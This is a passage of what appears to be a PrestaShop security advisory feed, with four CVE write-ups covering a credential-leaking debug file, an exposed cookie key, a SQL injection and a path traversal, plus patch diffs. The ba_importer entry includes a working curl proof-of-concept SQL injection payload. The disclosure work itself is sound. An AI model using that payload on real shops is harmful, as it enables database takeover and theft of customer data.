</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Catalog (CSV, Excel) Import” (simpleimportproduct) up to version 6.7.0 from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-25844] Exposure of Private Personal Information to an Unauthorized Actor in Common-Services - So Flexibilite module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/soflexibilite.html" rel="alternate" type="text/html" title="[CVE-2024-25844] Exposure of Private Personal Information to an Unauthorized Actor in Common-Services - So Flexibilite module for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/soflexibilite</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/soflexibilite.html"><![CDATA[<p>In the module “So Flexibilite” (soflexibilite) up to version 4.1.14 from Common-Services for PrestaShop, a guest can steal login / password to access the web portal https://www.colissimo.entreprise.laposte.fr/ and download all customer datas such as name / surname / postal address / phone.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25844">CVE-2024-25844</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: soflexibilite</li>
  <li><strong>Impacted release</strong>: &lt;= 4.1.14 (4.1.26 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Common-Services</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control, a guest can access the debug file (which has no extension so the payload will bypass most WAF) from the module that leaks the login / password of the web portal https://www.colissimo.entreprise.laposte.fr/, then export all customer data who used this carrier.</p>

<p>Note : there is no version between 4.1.14 and 4.1.26.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>soflexibilite</strong>.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-09</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-09</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-14</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-01-24</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>TouchWeb thanks Bryan Bouchut for his help with the impact analysis on the web platform https://www.colissimo.entreprise.laposte.fr/</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/transporteurs/2704-colissimo-domicile-et-points-de-retrait.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25844">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “So Flexibilite” (soflexibilite) up to version 4.1.14 from Common-Services for PrestaShop, a guest can steal login / password to access the web portal https://www.colissimo.entreprise.laposte.fr/ and download all customer datas such as name / surname / postal address / phone.]]></summary></entry><entry><title type="html">[CVE-2024-25839] Exposure of Sensitive Information to an Unauthorized Actor in Webbax - Super Newsletter module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/29/supernewsletter.html" rel="alternate" type="text/html" title="[CVE-2024-25839] Exposure of Sensitive Information to an Unauthorized Actor in Webbax - Super Newsletter module for PrestaShop" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/29/supernewsletter</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/29/supernewsletter.html"><![CDATA[<p>In the module “Super Newsletter” (supernewsletter) up to version 1.4.21 (DANGER : all versions) from Webbax for PrestaShop, a guest can access a secret of PrestaShop.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25839">CVE-2024-25839</a></li>
  <li><strong>Published at</strong>: 2024-02-29</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: supernewsletter</li>
  <li><strong>Impacted release</strong>: &lt;= 1.4.21 (DANGER : all versions and author discontinue support)</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to the use of a secret on the PrestaShop ecosystem, a guest can access hundreds of scripts on the PrestaShop ecosystem protected by this secret, including modules that permit the export of customer databases.</p>

<p><strong>WARNING</strong> : This module is obsolete and must be deleted since the author has discontinued support.</p>

<p>Note : We are forced to tag it as high gravity due to the CWE type 200 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Access scripts including admin scripts protected by token</li>
</ul>

<h2 id="patch-from-1421">Patch from 1.4.21</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.21/modules/supernewsletter/front_generate_newsletter.php
</span><span class="gi">+++ XXXXXX/modules/supernewsletter/front_generate_newsletter.php
</span><span class="p">@@ -82,7 +82,7 @@</span> if($token==md5($id_supernewsletter_conte

     // tracking stats - open newsletter ?
     if($see_online!=1){
<span class="gd">-        $html.='&lt;img src="'.$Shop-&gt;getBaseURL().'modules/supernewsletter/front_stats.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;preview='.$preview.'&amp;stats_type=open&amp;token='._COOKIE_KEY_.'" style="height:1px;width:1px"&gt;';
</span><span class="gi">+        $html.='&lt;img src="'.$Shop-&gt;getBaseURL().'modules/supernewsletter/front_stats.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;preview='.$preview.'&amp;stats_type=open&amp;token='.Tools::encrypt('supernewsletter').'" style="height:1px;width:1px"&gt;';
</span>     }

     // preview ?
<span class="p">@@ -114,7 +114,7 @@</span> if($token==md5($id_supernewsletter_conte
        &lt;/table&gt;';
     }

-    $base_special_link = $Shop-&gt;getBaseURL().'modules/supernewsletter/front_stats.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;id_lang='.$id_lang.'&amp;preview='.$preview.'&amp;stats_type=special_link&amp;token='._COOKIE_KEY_;
<span class="gi">+    $base_special_link = $Shop-&gt;getBaseURL().'modules/supernewsletter/front_stats.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;id_lang='.$id_lang.'&amp;preview='.$preview.'&amp;stats_type=special_link&amp;token='.Tools::encrypt('supernewsletter');
</span>
     // see online newsletter
     $url_newsletter = urlencode($Shop-&gt;getBaseURL().'modules/supernewsletter/front_generate_newsletter.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;id_lang='.$id_lang.'&amp;preview=0&amp;see_online=1&amp;token='.md5($id_supernewsletter_content));
<span class="p">@@ -253,7 +253,7 @@</span> if($token==md5($id_supernewsletter_conte
                 $name = Tools::substr($name,0,$SupernewsletterTemplate-&gt;product_title_len).'...';
              }

-             $link_product = $Shop-&gt;getBaseURL().'modules/supernewsletter/front_stats.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;id_product='.$p['id_product'].'&amp;id_product_attribute='.$p['id_product_attribute'].'&amp;id_lang='.$id_lang.'&amp;preview='.$preview.'&amp;stats_type=product&amp;token='._COOKIE_KEY_;
<span class="gi">+             $link_product = $Shop-&gt;getBaseURL().'modules/supernewsletter/front_stats.php?id_supernewsletter_content='.$id_supernewsletter_content.'&amp;id_product='.$p['id_product'].'&amp;id_product_attribute='.$p['id_product_attribute'].'&amp;id_lang='.$id_lang.'&amp;preview='.$preview.'&amp;stats_type=product&amp;token='.Tools::encrypt('supernewsletter');
</span>              $id_unique_random = uniqid();

              $css_td_first_product = '';
<span class="p">@@ -428,7 +428,7 @@</span> if($token==md5($id_supernewsletter_conte
     &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;';

     // unsubscribe
<span class="gd">-    $html .= '&lt;table style="width:100%;background-color:'.$SupernewsletterTemplate-&gt;bg_newsletter.';padding-bottom:5px;"&gt;&lt;tr&gt;&lt;td style="text-align:center;'.$css_font_family.';"&gt;&lt;a href="'.$base_special_link.'&amp;link_type=unsubscribe&amp;link_redirect='.urlencode($Shop-&gt;getBaseURL().'modules/supernewsletter/front_unsubscribe.php?id_supernewsletter_content='.$SupernewsletterContent-&gt;id.'&amp;token='._COOKIE_KEY_).'" target="_blank" style="color:'.$SupernewsletterTemplate-&gt;col_links_hf.';font-size:'.$SupernewsletterTemplate-&gt;size_links_hf.'px"&gt;'.$Supernewsletter-&gt;l('Cliquez ici pour vous désinscrire',$filename).'&lt;/a&gt;&lt;td&gt;&lt;/tr&gt;&lt;/table&gt;';
</span><span class="gi">+    $html .= '&lt;table style="width:100%;background-color:'.$SupernewsletterTemplate-&gt;bg_newsletter.';padding-bottom:5px;"&gt;&lt;tr&gt;&lt;td style="text-align:center;'.$css_font_family.';"&gt;&lt;a href="'.$base_special_link.'&amp;link_type=unsubscribe&amp;link_redirect='.urlencode($Shop-&gt;getBaseURL().'modules/supernewsletter/front_unsubscribe.php?id_supernewsletter_content='.$SupernewsletterContent-&gt;id.'&amp;token='.Tools::encrypt('supernewsletter')).'" target="_blank" style="color:'.$SupernewsletterTemplate-&gt;col_links_hf.';font-size:'.$SupernewsletterTemplate-&gt;size_links_hf.'px"&gt;'.$Supernewsletter-&gt;l('Cliquez ici pour vous désinscrire',$filename).'&lt;/a&gt;&lt;td&gt;&lt;/tr&gt;&lt;/table&gt;';
</span>
 }else{
     $html.=$Supernewsletter-&gt;l('Hack : jeton incorrect',$filename);
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.21/modules/supernewsletter/front_stats.php
</span><span class="gi">+++ XXXXXX/modules/supernewsletter/front_stats.php
</span><span class="gd">-if($token!==_COOKIE_KEY_){die('Error : bad token');}
</span><span class="gi">+if(empty($token) || $token != Tools::encrypt('supernewsletter')){die('Error : bad token');}
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.21/modules/supernewsletter/front_unsubscribe.php
</span><span class="gi">+++ XXXXXX/modules/supernewsletter/front_unsubscribe.php
</span><span class="gd">-if($token!=_COOKIE_KEY_){die('Error : bad token');}
</span><span class="gi">+if(empty($token) || $token != Tools::encrypt('supernewsletter')){die('Error : bad token');}
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.21/modules/supernewsletter/admin_cron.php
</span><span class="gi">+++ XXXXXX/modules/supernewsletter/admin_cron.php
</span><span class="gd">-    &lt;img src="'.$this-&gt;_path.'views/img/script_link.png" /&gt; &lt;span class="label_url_cron"&gt;'.$this-&gt;l('URL CRON',$page_name).'&lt;/span&gt; : &lt;span class="url_cron"&gt;'.$Shop-&gt;getBaseURL().'modules/'.$this-&gt;name.'/front_cron_send.php?identifier=date&amp;identifier_value=date&amp;emails_pack=unlimited&amp;id_shop='.$this-&gt;context-&gt;shop-&gt;id.'&amp;token='._COOKIE_KEY_.'&lt;/span&gt;&lt;br/&gt;
</span><span class="gi">+    &lt;img src="'.$this-&gt;_path.'views/img/script_link.png" /&gt; &lt;span class="label_url_cron"&gt;'.$this-&gt;l('URL CRON',$page_name).'&lt;/span&gt; : &lt;span class="url_cron"&gt;'.$Shop-&gt;getBaseURL().'modules/'.$this-&gt;name.'/front_cron_send.php?identifier=date&amp;identifier_value=date&amp;emails_pack=unlimited&amp;id_shop='.$this-&gt;context-&gt;shop-&gt;id.'&amp;token='.Tools::encrypt('supernewsletter').'&lt;/span&gt;&lt;br/&gt;
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.21/modules/supernewsletter/front_cron_send.php
</span><span class="gi">+++ XXXXXX/modules/supernewsletter/front_cron_send.php
</span><span class="gd">-     if(Tools::getValue('token')!=_COOKIE_KEY_){die('error : token');}
</span><span class="gi">+     $token = Tools::getValue('token');
+     if(empty($token) || $token != Tools::encrypt('supernewsletter')){die('Error : bad token');}
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module since support is discontinued.</li>
  <li>You MUST update your secret COOKIE_KEY, be warned that this will invalidate all your customers passwords and most of your tokens</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-24</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-09-24</td>
      <td>Author confirms version scope and decide to put offline the download page</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-29</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.webbax.ch/2017/08/30/9-modules-prestashop-gratuits-offert-par-webbax/">Author page</a></li>
  <li><a href="https://shop.webbax.ch/prestashop-15-/71-module-supernewsletter-15.html">Author page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25839">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Super Newsletter” (supernewsletter) up to version 1.4.21 (DANGER : all versions) from Webbax for PrestaShop, a guest can access a secret of PrestaShop.]]></summary></entry><entry><title type="html">[CVE-2024-25843] Improper neutralization of SQL parameter in Buy Addons - Import/Update Bulk Product from any Csv/Excel File Pro module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/27/ba_importer.html" rel="alternate" type="text/html" title="[CVE-2024-25843] Improper neutralization of SQL parameter in Buy Addons - Import/Update Bulk Product from any Csv/Excel File Pro module for PrestaShop" /><published>2024-02-27T00:00:00+00:00</published><updated>2024-02-27T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/27/ba_importer</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/27/ba_importer.html"><![CDATA[<p>In the module “Import/Update Bulk Product from any Csv/Excel File Pro” (ba_importer) up to version 1.1.28 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: [CVE-2024-25843]</li>
  <li><strong>Published at</strong>: 2024-02-27</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ba_importer</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.28 (1.1.29 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Buy Addons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">ba_importerAjaxSettingModuleFrontController::run()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p>Note : the author has deleted from his module the file which have been suffering from the critical vulnerability for years, BUT did not set them to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules, thinking they are safe. However, there is nothing safe about that, since past upgrades did not auto-delete the implicated files. To ensure everyone has a “safe version”, we decided to mark all versions up to 1.1.28 as impacted by this issue.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/?fc=module&amp;module=ba_importer&amp;controller=ajaxsetting&amp;ajax=true&amp;value_setting=1;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>This one can impact newer version than 1.0.64, see Note above.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.64/modules/ba_importer/controllers/front/ajaxsetting.php
</span><span class="gi">+++ XXXXXX/modules/ba_importer/controllers/front/ajaxsetting.php
</span>            $select_import_settings = 'SELECT * FROM ' . _DB_PREFIX_ . 'ba_importer_config ';
<span class="gd">-           $select_import_settings .= 'WHERE id_importer_config=' . $settingchoose . ' AND id_shop=' . $id_shop;
</span><span class="gi">+           $select_import_settings .= 'WHERE id_importer_config=' . (int) $settingchoose . ' AND id_shop=' . (int) $id_shop;
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.27/modules/ba_importer/autoimport.php
</span><span class="gi">+++ 1.1.29/modules/ba_importer/autoimport.php
</span><span class="err">...</span>
-$remote_ip = Tools::getRemoteAddr();
<span class="gd">-if (!(int)Configuration::get('PS_SHOP_ENABLE')) {
-    if (!in_array($remote_ip, explode(',', Configuration::get('PS_MAINTENANCE_IP')))) {
-        if (!Configuration::get('PS_MAINTENANCE_IP')) {
-            Configuration::updateValue('PS_MAINTENANCE_IP', $remote_ip);
-        } else {
-            Configuration::updateValue('PS_MAINTENANCE_IP', Configuration::get('PS_MAINTENANCE_IP') . ',' . $remote_ip);
-        }
-    }
-}
</span><span class="err">...</span>
-   $id_importer_config = Tools::getValue('id_importer_config');
<span class="gi">+   $id_importer_config = implode(',', array_map('intval', explode(',',  Tools::getValue('id_importer_config'))));
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ba_importer</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-14</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-01-12</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-27</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/20579-import-update-bulk-product-from-any-csv-excel-file-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25843">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Import/Update Bulk Product from any Csv/Excel File Pro” (ba_importer) up to version 1.1.28 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-25840] Improper Limitation of a Pathname to a Restricted Directory in Presta World - Account Manager - Sales Representative &amp;amp; Dealers - CRM module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/27/prestasalesmanager.html" rel="alternate" type="text/html" title="[CVE-2024-25840] Improper Limitation of a Pathname to a Restricted Directory in Presta World - Account Manager - Sales Representative &amp;amp; Dealers - CRM module for PrestaShop" /><published>2024-02-27T00:00:00+00:00</published><updated>2024-02-27T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/27/prestasalesmanager</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/27/prestasalesmanager.html"><![CDATA[<p>In the module “Account Manager - Sales Representative &amp; Dealers - CRM” (prestasalesmanager) up to version 8.0.0 from Presta World for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25840">CVE-2024-25840</a></li>
  <li><strong>Published at</strong>: 2024-02-27</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: prestasalesmanager</li>
  <li><strong>Impacted release</strong>: &lt;= 8.0.0 (9.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Presta World</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">PrestaSalesManagerChatboxModuleFrontController::postProcess()</code> has sensitive action that can be executed with a trivial http call and exploited to forge a Path traversal attack.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin / Adminer / etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-800">Patch from 8.0.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 8.0.0/modules/prestasalesmanager/controllers/front/chatbox.php
</span><span class="gi">+++ 9.0.0/modules/prestasalesmanager/controllers/front/chatbox.php
</span><span class="err">...</span>
-           $file = Tools::getValue('file');
<span class="gi">+           $file = basename(Tools::getValue('file'));
</span><span class="gd">-           $id_ticket = Tools::getValue('id_presta_product_enquiry');
</span><span class="gi">+           $id_ticket = (int) Tools::getValue('id_presta_product_enquiry');
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>prestasalesmanager</strong>.</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-26</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-26</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-01-16</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-27</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/third-party-data-integrations-crm-erp/90816-account-manager-sales-representative-dealers-crm.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25840">National Vulnerability Database</a></li>
